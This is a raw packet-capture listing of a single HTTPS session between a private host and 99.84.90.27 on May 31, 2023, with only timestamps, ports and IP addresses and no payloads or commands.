May 31, 2023 12:22:21.359549046 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.359698057 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.359730005 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.359752893 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.359785080 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.362692118 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.362796068 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.362834930 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.362934113 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.362967968 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.363001108 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.403347969 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.455939054 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.456034899 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.456176043 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.456202030 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.456218004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.456249952 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.458830118 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.458867073 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.459033966 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.459060907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.459115028 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.461308956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.461348057 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.461478949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.461502075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.461550951 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.469336033 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.469381094 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.469573021 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.469603062 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.469657898 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.471334934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.471379042 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.471529961 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.471554995 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.471604109 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.472093105 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.472203016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.551563025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.551615953 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.551817894 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.551858902 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.551915884 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.552508116 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.552546978 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.552642107 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.552670002 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.552686930 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.552716970 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.553322077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.553426981 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.554244041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.554275990 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.554354906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.554375887 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.554394007 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.554418087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.555943966 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.555982113 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.556073904 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.556094885 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.556113005 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.556137085 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.556899071 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.556932926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.557015896 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.557032108 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.557049990 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.557075024 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.558648109 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.558684111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.558774948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.558793068 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.558810949 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.558839083 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.559338093 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.559406996 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.559451103 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.559464931 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.559498072 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.559516907 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.560982943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.561022043 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.561139107 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.561139107 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.561165094 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.561208963 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.566198111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.566245079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.566417933 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.566453934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.566515923 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.567822933 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.567898035 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.567939043 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.567974091 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.567994118 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.568012953 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.622081041 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.647845030 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.647882938 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.647969007 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.648015976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.648083925 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.648128986 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.648149014 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.648521900 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.648546934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.648617983 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.648633003 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.648649931 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.649324894 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.649353027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.649424076 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.649441004 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.649456978 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.649492025 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.649513960 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.649537086 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.649581909 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.649588108 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.649616003 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.649631977 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.650304079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.650332928 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.650424004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.650439978 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.650485992 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651124954 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651154995 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651220083 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651226997 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651240110 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651268005 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651277065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651297092 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651302099 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651345968 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651401043 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651424885 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651469946 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651477098 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.651503086 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.651519060 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.652081013 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.652158022 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.652162075 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.652178049 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.652261019 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.652412891 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.652434111 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.652496099 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.652507067 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.652523994 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.653131962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.653201103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.653254032 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.653269053 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.653320074 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.653563976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.653587103 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.653639078 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.653645992 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.653696060 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.653716087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.654391050 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.654417038 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.654462099 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.654479027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.654495001 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.654525042 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.654586077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.654608965 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.654728889 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.654741049 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.654798985 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.655411005 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.655440092 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.655684948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.655704021 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.655745983 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.655899048 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.655922890 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656013012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656013012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656017065 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656030893 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656058073 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656641960 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656670094 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656718969 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656734943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656749964 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656836033 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656860113 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656897068 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656904936 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.656919003 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.656940937 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.668591022 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668652058 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668735027 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668783903 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668817043 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668842077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668854952 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.668893099 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668936014 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.668952942 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.668982029 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.668987036 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.715818882 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744138956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744174004 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744251966 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744288921 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744307041 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744313955 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744335890 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744343042 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744350910 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744379044 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744412899 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744477034 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744497061 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744549990 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744555950 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744575024 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744604111 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744704962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744729996 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744796991 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744803905 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744844913 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744859934 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.744899988 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.744995117 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745096922 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745102882 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745136023 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745141029 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745157957 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745158911 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745168924 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745193958 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745233059 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745327950 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745373964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745394945 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745455980 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745466948 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745486021 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745496035 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745531082 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745707989 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745735884 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745795012 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745800972 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745819092 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.745839119 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745882988 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745982885 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.745990992 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746011972 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746072054 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746078014 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746110916 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746118069 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746225119 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746244907 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746303082 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746350050 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746350050 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746361017 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746380091 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746411085 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746650934 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746673107 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746731043 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746736050 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746771097 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746786118 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746872902 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746892929 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.746922016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.746998072 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747003078 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747054100 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747113943 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747167110 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747191906 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747201920 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747225046 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747242928 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747550964 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747570038 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747608900 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747616053 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747643948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747694016 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747785091 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747807980 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747859955 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747864962 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.747888088 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747908115 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.747957945 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748022079 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748029947 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748039961 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748069048 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748087883 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748140097 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748147011 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748353004 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748524904 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748549938 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748600006 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748605967 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748640060 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748740911 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748773098 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748872995 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748878956 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748893976 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748941898 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.748958111 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.748965025 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749007940 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749155998 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749319077 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749366045 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749382973 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749393940 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749413013 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749434948 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749547958 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749567986 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749615908 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749620914 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749643087 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749670029 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749769926 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749789000 CEST	443	49711	99.84.90.27	192.168.2.6
May 31, 2023 12:22:21.749828100 CEST	49711	443	192.168.2.6	99.84.90.27
May 31, 2023 12:22:21.749833107 CEST	443	49711	99.84.90.27	192.168.2.6
